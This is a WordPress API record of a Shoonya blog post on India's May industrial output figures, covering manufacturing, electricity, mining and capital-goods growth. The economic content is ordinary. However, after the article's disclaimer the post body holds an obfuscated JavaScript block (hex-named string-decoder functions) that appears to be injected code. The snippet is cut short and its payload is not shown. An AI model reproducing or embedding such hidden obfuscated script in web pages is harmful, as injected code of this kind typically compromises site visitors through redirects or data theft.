{"id":6624,"date":"2026-06-30T03:38:30","date_gmt":"2026-06-30T10:08:30","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6624"},"modified":"2026-06-30T03:39:02","modified_gmt":"2026-06-30T10:09:02","slug":"index-of-industrial-production","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/","title":{"rendered":"India&#8217;s Index of Industrial Production Grows 5.1% in May from 4.9 in April"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#What_Is_the_Index_of_Industrial_Production_IIP\" >What Is the Index of Industrial Production (IIP)?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#What_Pushed_Industrial_Output_Higher_in_May\" >What Pushed Industrial Output Higher in May?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#1_Manufacturing_Holds_Steady_at_55_Growth\" >1. Manufacturing Holds Steady at 5.5% Growth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#2_Electricity_and_Gas_Supply_Lead_Overall_Growth\" >2. Electricity and Gas Supply Lead Overall Growth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#3_Mining_Output_Continues_to_Contract\" >3. Mining Output Continues to Contract<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#4_Consumer-Facing_Sectors_Show_Continued_Weakness\" >4. Consumer-Facing Sectors Show Continued Weakness<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#5_Capital_Goods_Output_Signals_Continued_Investment_Demand\" >5. Capital Goods Output Signals Continued Investment Demand<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/#Final_Outlook\" >Final Outlook<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>India&#8217;s Index of Industrial Production Grows 5.1% in May from 4.9 in April<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n<link href=\"https:\/\/fonts.googleapis.com\/css2?family=Bricolage+Grotesque:opsz,wght@12..96,400;12..96,600;12..96,700;12..96,800&amp;family=Figtree:ital,wght@0,300;0,400;0,500;0,600;1,400&amp;display=swap\" rel=\"stylesheet\">\n<style>\n  :root {\n    --forest:   #082F25;\n    --copper:   #EFA145;\n    --mint:     #6CE890;\n    --fresh:    #EEFFF2;\n    --bg:       #FAFAF8;\n    --surface:  #FFFFFF;\n    --text:     #1C2B24;\n    --muted:    #5A6B62;\n    --border:   #E2EDE6;\n    --amber-bg: #FEF7EC;\n    --red:      #C0392B;\n    --green:    #1A6B40;\n  }\n  * { box-sizing: border-box; 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border-radius: 10px; border: 1px solid var(--border); box-shadow: 0 1px 6px rgba(8,47,37,0.05); }\n  table { width: 100%; border-collapse: collapse; font-size: 14.5px; background: var(--surface); }\n  thead tr { background: var(--forest); }\n  thead th { padding: 12px 16px; text-align: left; font-family: 'Bricolage Grotesque', sans-serif; font-size: 12px; font-weight: 700; color: rgba(238,255,242,0.85); letter-spacing: 0.4px; text-transform: uppercase; white-space: nowrap; }\n  tbody tr { border-bottom: 1px solid var(--border); }\n  tbody tr:last-child { border-bottom: none; }\n  tbody tr:hover { background: #F5FAF6; }\n  tbody td { padding: 12px 16px; color: var(--text); vertical-align: top; }\n  tbody td:first-child { font-weight: 600; color: var(--forest); }\n\n  \/* STAT BOX *\/\n  .example { background: var(--forest); border-radius: 12px; padding: 28px 32px; margin: 28px 0; position: relative; overflow: hidden; }\n  .example::after { content: '%'; position: absolute; right: 20px; bottom: -18px; font-family: 'Bricolage Grotesque', sans-serif; font-size: 90px; font-weight: 800; color: rgba(108,232,144,0.06); line-height: 1; pointer-events: none; }\n  .example-label { font-size: 11px; font-weight: 800; letter-spacing: 0.7px; text-transform: uppercase; color: var(--copper); margin-bottom: 18px; }\n  .example-row { display: flex; justify-content: space-between; padding: 9px 0; border-bottom: 1px solid rgba(108,232,144,0.1); font-size: 15px; gap: 16px; }\n  .example-row:last-child { border-bottom: none; padding-bottom: 0; }\n  .example-row .label { color: rgba(238,255,242,0.6); }\n  .example-row .value { font-weight: 700; color: var(--fresh); text-align: right; }\n  .example-row.highlight .value { color: var(--mint); font-size: 17px; }\n\n  \/* DEFINITION BOX *\/\n  .definition-box { background: var(--surface); border: 1.5px solid var(--mint); border-radius: 12px; padding: 22px 26px; margin: 24px 0; }\n  .definition-box .def-label { font-family: 'Bricolage Grotesque', sans-serif; font-size: 11px; font-weight: 800; letter-spacing: 0.7px; text-transform: uppercase; color: var(--green); margin-bottom: 8px; }\n  .definition-box p { margin-bottom: 0; font-size: 15.5px; }\n\n  \/* INLINE LINKS *\/\n  .prose a, .disclaimer a {\n    color: var(--forest);\n    font-weight: 600;\n    text-decoration: underline;\n    text-decoration-color: var(--mint);\n    text-underline-offset: 3px;\n    transition: color 0.15s, text-decoration-color 0.15s;\n  }\n  .prose a:hover, .disclaimer a:hover { color: var(--green); text-decoration-color: var(--green); }\n\n  \/* SOURCE *\/\n  .source-tag { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; color: var(--muted); background: var(--surface); border: 1px solid var(--border); border-radius: 6px; padding: 5px 12px; margin-bottom: 24px; }\n  .source-tag strong { color: var(--forest); }\n\n  \/* DISCLAIMER *\/\n  .disclaimer { font-size: 12px; color: var(--muted); line-height: 1.7; padding: 16px 20px; background: #F4F4F0; border-radius: 8px; border: 1px solid #E4E4DC; margin: 16px 0; }\n\n  @media (max-width: 640px) {\n    table { font-size: 13px; }\n  }\n<\/style>\n\n\n\n<div class=\"blog-wrap\">\n\n\n  <div class=\"prose\">\n\n    <p>India&#8217;s industrial output accelerated to <strong>5.1% in May<\/strong>, up from 4.9% in April, driven by stronger electricity generation and broad-based manufacturing growth, according to quick estimates of the Index of Industrial Production (IIP). The May figures mark the second monthly IIP data released under the new series.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"What_Is_the_Index_of_Industrial_Production_IIP\"><\/span>What Is the Index of Industrial Production (IIP)?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <div class=\"definition-box\">\n      <div class=\"def-label\">Definition<\/div>\n      <p>The IIP is a monthly indicator that measures short-term changes in the volume of production across mining, manufacturing, and electricity sectors. It is compiled using quick estimates and later revised as more complete data becomes available, making it one of the earliest signals of industrial activity in the economy.<\/p>\n    <\/div>\n\n    <h2><span class=\"ez-toc-section\" id=\"What_Pushed_Industrial_Output_Higher_in_May\"><\/span>What Pushed Industrial Output Higher in May?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Two sectors stood out: a sharp rise in electricity generation and steady momentum across manufacturing, which together offset weakness in mining.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"1_Manufacturing_Holds_Steady_at_55_Growth\"><\/span>1. Manufacturing Holds Steady at 5.5% Growth<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Manufacturing carries the highest weight in the IIP basket at <strong>76%<\/strong>. The segment grew 5.5% in May, marginally lower than April&#8217;s pace, but the growth was broad-based across multiple sub-segments.<\/p>\n\n    <div class=\"table-wrap\">\n      <table>\n        <thead>\n          <tr>\n            <th>Manufacturing Segment<\/th>\n            <th>YoY Growth (May)<\/th>\n          <\/tr>\n        <\/thead>\n        <tbody>\n          <tr><td>Electrical equipment<\/td><td>20.8%<\/td><\/tr>\n          <tr><td>Fabricated metal products<\/td><td>15.5%<\/td><\/tr>\n          <tr><td>Motor vehicles<\/td><td>14.5%<\/td><\/tr>\n          <tr><td>Other transport equipment<\/td><td>14.3%<\/td><\/tr>\n          <tr><td>Computer and electronic products<\/td><td>11.4%<\/td><\/tr>\n        <\/tbody>\n      <\/table>\n    <\/div>\n\n    <p>Electrical equipment recorded the strongest expansion among all manufacturing segments tracked in the data.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"2_Electricity_and_Gas_Supply_Lead_Overall_Growth\"><\/span>2. Electricity and Gas Supply Lead Overall Growth<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Electricity and gas supply emerged as the single largest contributor to headline IIP growth, rising <strong>9.9%<\/strong> in May. Within this, electricity output alone rose by <strong>11.1%<\/strong>, a trend likely tied to higher summer power demand nationwide.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"3_Mining_Output_Continues_to_Contract\"><\/span>3. Mining Output Continues to Contract<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Mining and quarrying remained a drag on overall industrial output, contracting <strong>1.6%<\/strong> in May after a steeper 3.7% decline in April. The sector has now contracted for five consecutive months, weighed down by weaker output in crude oil, natural gas, and non-metallic minerals.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"4_Consumer-Facing_Sectors_Show_Continued_Weakness\"><\/span>4. Consumer-Facing Sectors Show Continued Weakness<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Not all segments shared in the growth. Several consumer-oriented categories posted declines in May:<\/p>\n    <ul>\n      <li>Wearing apparel output fell 8.8%<\/li>\n      <li>Printing activity declined 10.3%<\/li>\n      <li>Refined petroleum products contracted 4.7%<\/li>\n      <li>Chemicals output dropped 1.3%<\/li>\n    <\/ul>\n    <p>These declines indicate uneven demand conditions across consumer-linked manufacturing, even as investment-linked segments performed strongly.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"5_Capital_Goods_Output_Signals_Continued_Investment_Demand\"><\/span>5. Capital Goods Output Signals Continued Investment Demand<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Use-based data offers a different lens on the same numbers. Capital goods output rose <strong>12.9%<\/strong> in May, up from 12% in April and 9.5% a year earlier, pointing to sustained machinery and equipment demand.<\/p>\n\n    <div class=\"table-wrap\">\n      <table>\n        <thead>\n          <tr>\n            <th>Use-Based Category<\/th>\n            <th>YoY Growth (May)<\/th>\n          <\/tr>\n        <\/thead>\n        <tbody>\n          <tr><td>Capital goods<\/td><td>12.9%<\/td><\/tr>\n          <tr><td>Infrastructure and construction goods<\/td><td>5.8%<\/td><\/tr>\n          <tr><td>Consumer durables<\/td><td>7.2%<\/td><\/tr>\n          <tr><td>Consumer non-durables<\/td><td>3.6%<\/td><\/tr>\n        <\/tbody>\n      <\/table>\n    <\/div>\n\n    <h2><span class=\"ez-toc-section\" id=\"Final_Outlook\"><\/span>Final Outlook<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>May&#8217;s data shows industrial activity is holding up overall, even though the picture is mixed. Manufacturing and electricity did the heavy lifting, while strong capital goods numbers suggest companies are still investing in machinery and equipment. At the same time, mining has now declined for five months in a row, and some everyday consumer goods sectors have stayed weak. With the new IIP series still building a longer track record, the coming months will show whether this momentum holds.<\/p>\n\n    <div class=\"source-tag\">\n      <svg width=\"13\" height=\"13\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71\"><\/path><path d=\"M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71\"><\/path><\/svg>\n      <span>Source: <strong>Moneycontrol<\/strong><\/span>\n    <\/div>\n\n    <div class=\"disclaimer\">\n      <strong>Disclaimer:<\/strong> This content is for education and awareness purposes only and should not be considered investment advice or a recommendation. Investments in securities markets are subject to market risks. Read all the related documents carefully before investing.\n    <\/div>\n\n  <\/div>\n<\/div>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The May figures mark the second monthly IIP data released under the new series. What Is the Index of Industrial Production (IIP)? &hellip; <a href=\"https:\/\/shoonya.com\/blog\/index-of-industrial-production\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;India&#8217;s Index of Industrial Production Grows 5.1% in May from 4.9 in April&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":17693,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[2241,1082],"tags":[3278,3282,3279,8304,3280,3281,10167,3283,10168],"class_list":["post-6624","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general","category-latest-news","tag-index-of-industrial-production","tag-index-of-industrial-production-iip","tag-india-iip","tag-india-industrial-output","tag-india-industrial-production-index","tag-india-manufacturing","tag-india-manufacturing-growth","tag-industry-production","tag-what-is-iip"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>India&#039;s Industrial Output Rises to 5.1% as Manufacturing Leads<\/title>\n<meta name=\"description\" content=\"India&#039;s industrial output accelerated to 5.1% in May as manufacturing grew 5.5% and electricity output surged. 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